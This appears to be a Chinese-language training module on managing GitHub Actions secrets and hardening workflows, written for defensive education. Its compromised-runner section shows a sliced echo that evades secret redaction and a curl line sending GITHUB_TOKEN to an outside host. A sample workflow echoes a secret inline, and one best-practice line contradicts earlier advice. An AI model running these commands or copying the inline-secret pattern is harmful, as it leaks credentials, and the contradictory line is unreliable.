管理加密的祕密
秘密是加密的環境變數,可儲存令牌、認證和其他敏感性資訊。 您的 GitHub Actions 工作流程和動作可以在需要時使用這些秘密。 建立祕密後,凡具備對其所定義位置 (組織、存放庫或環境) 之存取權限的工作流程與動作,即可存取該祕密。
本節說明如何使用 GitHub Enterprise Cloud 和 GitHub Enterprise Server 中的工具和策略來管理加密的秘密。 您也會瞭解如何在工作流程和動作中使用這些秘密。
管理企業中的加密秘密
GitHub Actions 可讓您透過 加密的秘密安全地儲存和使用敏感數據,例如 API 金鑰、驗證令牌、密碼和憑證。 這些秘密會安全地儲存並插入工作流程。 此設計可確保它們不會出現在記錄或原始程式碼中。
在企業環境中,有效的秘密管理非常重要。 其可協助維護安全性、符合合規性需求,以及支援營運效率。 GitHub 可讓您管理四個層級的秘密:企業、組織、存放庫和環境。
加密秘密的範圍
瞭解秘密 的範圍 對於在企業環境中安全地管理秘密至關重要。
| 秘密層級 | 範圍 | 誰可以存取 | 常見使用案例 |
|---|---|---|---|
| Enterprise-Level 秘密 | 套用至 GitHub Enterprise Cloud 組織中的所有存放庫。 | 企業擁有者、安全性系統管理員 | 跨多個存放庫共享認證。 |
| Organization-Level 秘密 | 套用至組織中的所有存放庫;選擇性地限制選取的存放庫。 | 組織擁有者、安全性系統管理員 | 存取雲端服務和共享資料庫。 |
| Repository-Level 秘密 | 僅適用於單一存放庫。 | 存放庫管理員、工作流程執行器 | 在單一存放庫中保護部署認證。 |
| Environment-Level 秘密 | 適用於存放庫中的特定部署環境,例如預備或生產環境。 | 指定環境中的工作流程執行器 | 依部署環境分隔認證。 |
主要考量:
- 企業秘密 專屬於 GitHub Enterprise Cloud,並支援整個組織的集中式管理。
- 組織秘密 提供更細緻的訪問控制,而且可以限制為特定的存放庫。
- 環境秘密 可藉由限制工作流程環境的存取,協助防止意外暴露。
管理組織層級的加密秘密
在組織層級建立加密的秘密有助於保護敏感性資訊,同時減少跨多個存放庫管理秘密所需的工作。
例如,某些在 GitHub 組織中撰寫工作流程的開發人員需要認證,才能將程式代碼部署至某些工作流程中的生產環境。 為了避免共用此敏感性資訊,您可以在組織層級建立包含認證的加密的袐密。 如此一來,就可以在工作流程中使用認證,而不會被公開。
若要在組織層級建立袐密,請移至您的組織 [設定],然後從側邊欄選取 [袐密和變數] > [動作] > [新增組織袐密]。 在出現的畫面中,輸入名稱和值,然後選擇您袐密的存放庫存取原則:
儲存之後,存取原則會顯示在清單中的秘密下方:
您可以選取 [更新] 以取得袐密所設定權限的詳細資訊。
透過 GitHub CLI 管理 Organization-Level 加密的機密資訊
- 為組織建立密碼:
gh secret set SECRET_NAME --org my-org --body "super-secret-value" - 列出所有組織秘密:
gh secret list --org my-org - 更新現有的秘密:
gh secret set SECRET_NAME --org my-org --body "new-secret-value" - 刪除秘密:
gh secret delete SECRET_NAME --org my-org
組織秘密的安全性考慮
- 將秘密限制為特定存放庫 ,而不是預設授與所有存放庫的存取權。
- 實作角色型訪問控制 (RBAC), 以確保只有授權的小組成員可以建立、更新或刪除秘密。
- 定期監視存取記錄 ,以識別及回應未經授權的使用或可疑活動。
在存放庫層級管理加密的秘密
若要將秘密限定為特定存放庫,請使用 GitHub Enterprise Cloud 或 GitHub Enterprise Server。
建立存放庫層級機密
- 瀏覽至存放庫的 [設定]。
- 選取 [秘密和變數 > 動作],然後選取 [新增存放庫密碼]。
- 輸入 秘密的名稱和值。
透過 CLI 管理存放庫層級加密的秘密
列出存放庫秘密:
gh secret list --repo my-repo更新存放庫密碼:
gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"刪除存放函式密碼:
gh secret delete SECRET_NAME --repo my-repo
存取動作和工作流程內加密的袐密
在 Workflows 中
使用 secrets 內容存取秘密。 使用 with 將秘密作為輸入,或使用 env 將其設為環境變數。
steps:
- name: Hello world action
uses: actions/hello-world@v1
with:
# Pass the secret as an input to the action
super_secret: ${{ secrets.SuperSecret }}
env:
# Set the secret as an environment variable
super_secret: ${{ secrets.SuperSecret }}
使用
with:將 秘密當做輸入參數傳遞至動作。 當動作在其 中action.yml明確定義輸入時,通常會使用這個方法。使用
env:將祕密機密公開為步驟的環境變數。 當步驟中的命令或動作內的腳本預期環境變數時,此方法很有用。
在 Actions 中
若要在自定義動作內使用秘密,請將它們定義為元數據檔案中的 action.yml 輸入,並在動作程式碼中將其存取為環境變數。
inputs:
super_secret:
description: 'My secret token'
required: true
// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');
定義於
action.yml中:將密鑰指定為必填或選填輸入。在程式代碼中存取:使用 Actions Toolkit 讀取秘密(建議使用),或在設定時參考環境變數。
警告
避免在動作原始碼中硬編碼敏感資訊。 若要安全地管理輸入和秘密, 請使用 Actions Toolkit 來處理程式碼邏輯中的值。
設定 GitHub Actions 的安全性強化
GitHub Actions 的安全性強化在保護軟體供應鏈安全方面扮演著重要角色。 以下各節將說明建議的作法,以加強您在工作流程中使用的動作的安全性。
識別減輕腳本插入式攻擊的最佳做法
在 GitHub 動作上緩和文稿插入式攻擊的一些最佳做法包括:
使用 Javascript 動作而非內嵌腳本:使用接受內容值的 Javascript 動作做為自變數,而不是將這些值內嵌在內嵌腳本中。 此方法可降低腳本插入的風險,因為內容數據不會用來直接產生或執行殼層命令。
將變數當做輸入傳遞至 JavaScript 動作有助於防止它用於腳本插入式攻擊。
uses: fakeaction/checktitle@v3 with: title: ${{ github.event.pull_request.title }}在內嵌腳本中使用中繼環境變數:使用內嵌腳本時,請在命令中使用變數之前,先將變數評估為環境變數。 此方法可確保在腳本執行之前解析值,降低腳本插入的風險。 例如,使用
github.event.pull_request.title作為環境變數有助於防範插入式攻擊弱點:- name: Check PR title env: TITLE: ${{ github.event.pull_request.title }} run: | if [[ "$TITLE" =~ ^octocat ]]; then echo "PR title starts with 'octocat'" exit 0 else echo "PR title did not start with 'octocat'" exit 1 fi
利用工作流程範本來實作程式代碼掃描: 流覽 至存放庫的 [ 動作] 索引卷標,然後選取左窗格中的 [ 新增工作流程 ] 按鈕。 在 [ 選擇工作流程] 頁面上, 找出 [ 安全性 ] 區段以存取及套用工作流程範本。
將 CodeQL 掃描器設定為在特定事件上執行,以便掃描分支的檔案,並標幟工作流程中所使用動作內的曝露 CWE (Common Weakness Enumerations 常見弱點列舉),包括如指令碼插入等弱點。
限制令牌的許可權:請確定您一律將 套用
rule of least privilege至任何已建立的令牌。 換句話說,請確保憑證被指派最低權限,以完成其用途。
安全地使用第三方動作的最佳做法
請遵循下列最佳做法,安全地將第三方動作納入您的工作流程:
只有在信任作者時,才將動作釘選到標記只有在驗證並信任動作的作者時,才使用版本標籤,例如
v1或v2。 此動作有助於降低未來版本中非預期變更的風險。- name: Checkout uses: actions/checkout@v4 # Pinned to a specific version tag建議將操作固定到完整的提交 SHA 將操作固定到完整的提交 SHA 可確保您使用的是不可變的版本。 請務必確認提交 SHA 來自預期的儲存庫。
- name: Checkout uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2 # Pinned to a specific commit SHA稽核動作的原始程式碼 檢閱動作的來源,確認其可安全地處理數據,且不包含非預期或惡意的行為。
值得信任的第三方動作指標
使用信任的動作來降低工作流程中的風險。
尋找已驗證的徽章: 值得信任的動作會出現在 GitHub Marketplace 中,並在標題旁邊顯示已驗證的 建立 者徽章,告知您 GitHub 已驗證建立者。
檢查檔: 檔案
action.yml應該經過妥善記載,並清楚描述動作的運作方式。
使用 Dependabot 版本更新讓動作保持在最新狀態
啟用 Dependabot 版本更新,以自動讓您的 GitHub Actions 相依性保持最新且安全。
遭入侵執行器的潛在影響
本節說明若執行器遭入侵,可能被惡意探索的攻擊向量。
從執行器外洩資料
雖然 GitHub Actions 會自動從記錄中修訂秘密,但此修訂不是完整的安全性界限。 若執行器遭入侵,攻擊者可能會透過將祕密列印至記錄來故意公開。 例如:
echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}
遭入侵的運行器可以使用腳本化的 HTTP 請求,將秘密或其他敏感存放庫資料轉發至外部伺服器。
存取祕密
使用 pull_request 事件從分叉存放庫觸發的工作流程具有唯讀權限,且無法存取祕密。 不過,許可權會根據事件類型而有所不同,例如 issue_comment、 issues、 push或 pull_request 來自相同存放庫內的分支。 如果運行器遭到入侵,可能會暴露資料庫機密,或者具有寫入權限的 GITHUB_TOKEN 作業可能會被濫用。
- 如果將秘密或令牌指派給環境變數,則可以使用 直接存取
printenv。 - 如果在表達式中直接引用機密資訊,生成的 Shell 腳本包含已解析的值,將儲存在磁碟上,而且可能可被存取。
- 針對自定義動作,風險層級取決於秘密在動作邏輯內處理的方式。 例如:
uses: exampleaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
即使 GitHub Actions 會在祕密未被工作流程或其中動作參考時將其從記憶體中移除,GITHUB_TOKEN 和任何使用中的祕密仍有可能在執行器遭入侵時被竊取。
竊取作業的 GITHUB_TOKEN
攻擊者可能可以竊取作業的 GITHUB_TOKEN。 GitHub Actions 會自動提供此令牌,其範圍許可權僅限於執行工作流程的存放庫。 令牌會在作業完成之後到期,且之後無法重複使用。
不過,遭入侵的執行器可用來在作業執行期間立即外洩權杖。 攻擊者可以自動向其控制的伺服器提出要求,在權杖失效前加以擷取。 例如:
curl http://example.com?token=$GITHUB_TOKEN
修改存放庫內容
GITHUB_TOKEN如果遭竊,攻擊者控制的系統可以使用它來呼叫 GitHub API 並修改存放庫內容。
將最低許可權原則套用至令牌的許可權有助於降低此風險。 將令牌的存取限制為只限於工作所需。
管理跨儲存庫存取
當工作流程需要存取多個存放庫時,請務必選擇可將安全性風險降到最低的認證。 從最受歡迎到最不受歡迎的一些建議選項包括:
GITHUB_TOKENGitHub 會自動為每個工作流程執行產生
GITHUB_TOKEN。 它的範圍僅限於觸發工作流程的單一存放庫,並提供等同於該存放庫具備寫入權限使用者的權限。 令牌會在每個作業開始時建立,並在作業完成時到期。盡可能使用
GITHUB_TOKEN進行安全且限定範圍的驗證。 如需詳細資訊,請參閱 自動令牌驗證。存放庫部署金鑰
若要在工作流程中使用 Git 複製或推送,請使用部署金鑰來提供單一存放庫的讀取或寫入許可權。
不過,部署密鑰不支援存取 GitHub 的 REST 或 GraphQL API。 只有在不需要 API 存取且 Git 存取已足夠時,才使用它們。
GitHub 應用程式令牌
GitHub Apps 提供更細緻的許可權,而且可以安裝在選取的存放庫上。 您可以建立內部 GitHub 應用程式、將它安裝在必要的存放庫上,並在工作流程中驗證為應用程式安裝,以存取這些存放庫。
相較於個人令牌,此方法可提供更佳的訪問控制和稽核。
個人存取權杖 (PAT)
避免在工作流程中使用傳統個人存取令牌。 這些令牌會授與使用者相關聯之所有個人和組織存放庫的廣泛存取權,並帶來重大風險。 如果工作流程在具有多個參與者的存放庫中執行,則所有寫入存取用戶都會有效地繼承該令牌的許可權。
如果您必須使用個人權杖,請建立與專屬組織帳戶繫結的微調 PAT。 只限制其存取工作流程所需的特定存放庫。
備註
這種方法難以擴展,最好選擇部署密鑰或 GitHub Apps 來取代。
個人帳戶上的 SSH 金鑰
請勿在工作流程中使用個人帳戶的 SSH 金鑰。 如同傳統 PAT,他們會授與帳戶相關聯之所有存放庫的存取權,包括個人和組織存放庫。 這個錯誤會將工作流程暴露在不必要的風險。
如果您的使用案例涉及透過 Git 複製或推送,請考慮改用部署密鑰。 它們提供範圍存取,而不需要公開不相關的存放庫或要求個人認證。
稽核 GitHub Action 事件
執行動作的類型,以及執行動作的個人帳戶會記錄在「安全性記錄」和「稽核記錄」中。 「安全性記錄檔」會記錄與用戶帳戶相關的事件。 「稽核記錄檔」會記錄與貴組織相關的事件。 因此,您可以檢視這兩個記錄,以稽核與 Github 動作相關的事件。
搭配 GitHub Actions 使用 OIDC
您可以使用 OIDC (OpenID Connect) 設定工作流程,直接與雲端提供者進行驗證。 在此情況下,不再需要將認證儲存為秘密。
GitHub Actions 的成品證明
成品證明可協助建立組建的源頭,藉由驗證建置的內容、位置及方式來改善軟體供應鏈安全性。
要證明什麼
使用 GitHub Actions,您可以為二進位檔與容器映像產生組建來源與 SBOM (軟體用料表) 的證明。
產生組建的成品證明
當您產生組建的成品證明時,必須確定:
- 您已在工作流程中設定適當的許可權
- 您已在工作流程中包含使用 attest-build-provenance 動作的步驟。
證明會建立組建來源。 您可以在存放庫的 [ 動作 ] 索引標籤中檢視證明。
產生二進位檔組建來源
您必須將下列權限新增至工作流程,以建置您想要證明的二進位檔:
permissions: id-token: write contents: read attestations: write您必須在建置二進位檔的步驟之後新增下列步驟:
- name: Generate artifact attestation uses: actions/attest-build-provenance@v2 with: subject-path: 'PATH/TO/ARTIFACT'
備註
請注意,subject-path 參數的值會設定為您驗證的二進位檔案的路徑。
產生容器映像組建來源的證明
將下列許可權新增至建置容器映射的工作流程:
permissions: id-token: write contents: read attestations: write packages: write在建置容器映射之後新增此步驟:
- name: Generate artifact attestation uses: actions/attest-build-provenance@v2 with: subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} subject-digest: 'sha256:fedcba0...' push-to-registry: true備註
- 這個
subject-name值必須是完整映像檔名稱,例如ghcr.io/user/app或acme.azurecr.io/user/app。 請勿包含標籤。 subject-digest必須是影像的 SHA256 摘要,格式為sha256:HEX_DIGEST。- 如果您的工作流程使用
docker/build-push-action,您可以從其輸出擷取摘要。 如需詳細資訊,請參閱 GitHub Actions 的工作流程語法。
- 這個
產生 SBOM 證明
您可以為 SBOM 產生 SBOM 證明。 若要產生並證明 SBOM,您必須執行下列步驟:
- 請確定您在工作流程中設定適當的許可權,如範例所示。
- 必須在工作流程中的某個步驟中產生該成品的 SBOM。 如需範例,請參閱 GitHub Marketplace 中的 anchore-sbom-action。
- 在工作流程中包含使用 attest-sbom 動作的步驟 (請參考下方範例)
為二進位檔產生 SBOM 證明
請在建置該二進位檔的工作流程中新增下列權限,以產生其 SBOM 證明:
permissions: id-token: write contents: read attestations: write在建立二進位檔和產生 SBOM 的步驟之後,新增下列步驟:
- name: Generate SBOM attestation uses: actions/attest-sbom@v1 with: subject-path: 'PATH/TO/ARTIFACT' sbom-path: 'PATH/TO/SBOM'
請注意,參數的值 subject-path 應該設定為 SBOM 描述的二進位路徑。 參數 sbom-path 的值應該設定為您所產生的 SBOM 檔案路徑。
為容器映像產生 SBOM 認證
必須為建置該二進位檔的工作流程新增下列權限,以便產生 SBOM 證明:
permissions: id-token: write contents: read attestations: write packages: write您必須在建立二進位檔和產生 SBOM 的步驟之後,新增下列步驟:
- name: Generate SBOM attestation uses: actions/attest-sbom@v1 with: subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE subject-digest: 'sha256:fedcba0...' sbom-path: 'sbom.json' push-to-registry: true
請注意,參數的值 subject-name 會指定完整映像名稱。 例如,ghcr.io/user/app 或 acme.azurecr.io/user/app。 請勿在映像名稱中包含標籤。
subject-digest 參數的值應設定為該證明主體的 SHA256 摘要,格式為 sha256:HEX_DIGEST。 如果您的工作流程使用 docker/build-push-action,您可以使用該步驟的摘要輸出來提供值(請參閱 build-push-action)。 如需使用輸出的詳細資訊,請參閱 GitHub Actions 的工作流程語法。
sbom-path 參數的值應設定為你要產生證明之 JSON 格式 SBOM 檔案的路徑。
使用 GitHub CLI 驗證工件聲明
您可以使用 GitHub CLI 驗證上述的成品證明。 如需詳細資訊,請參閱 GitHub CLI 手冊的 證明一節 。
警告
請務必記住,成品證明不保證成品是安全的。 成品證明則會連結至產生該成品的原始程式碼與建置指示。 您必須定義原則準則、評估內容來評估該原則,並在取用軟體時做出明智的風險決策。
存取動作和工作流程內加密的袐密
範例:在工作流程中使用秘密
name: Deploy Application
on:
push:
branches:
- main
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v3
- name: Use secret in a script
run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"
在工作流程中使用秘密的最佳做法
- 請勿在記錄中使用 列印袐密。
echo ${{ secrets.SECRET_NAME }} - 在腳本命令中使用秘密,而不是將它們指派給環境變數。
- 藉由在最低必要層級定義秘密來限制存取。
- 定期輪替安全密鑰 以便更新工作流程。
如何使用協力廠商保存庫
許多企業整合 GitHub Actions 與外部秘密管理解決方案,例如 HashiCorp Vault、AWS 秘密管理員和 Azure Key Vault。
1. HashiCorp Vault
- name: Fetch secret from Vault
id: vault
uses: hashicorp/vault-action@v2
with:
url: https://vault.example.com
token: ${{ secrets.VAULT_TOKEN }}
secret: secret/data/github/my-secret
2. AWS (Amazon Web Services) 秘密管理員
- name: Retrieve AWS Secret
run: |
SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV
3.Azure Key Vault
- name: Retrieve Azure Secret
uses: Azure/get-keyvault-secrets@v1
with:
keyvault: "my-keyvault"
secrets: "my-secret"
azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}
使用協力廠商保存庫的優點
- 集中式秘密管理 可降低安全性風險。
- 自動化秘密輪替 有助於遵守安全策略。
- 稽核記錄和訪問控制 可增強安全性監視。
- 最低許可權存取 可防止未經授權使用秘密。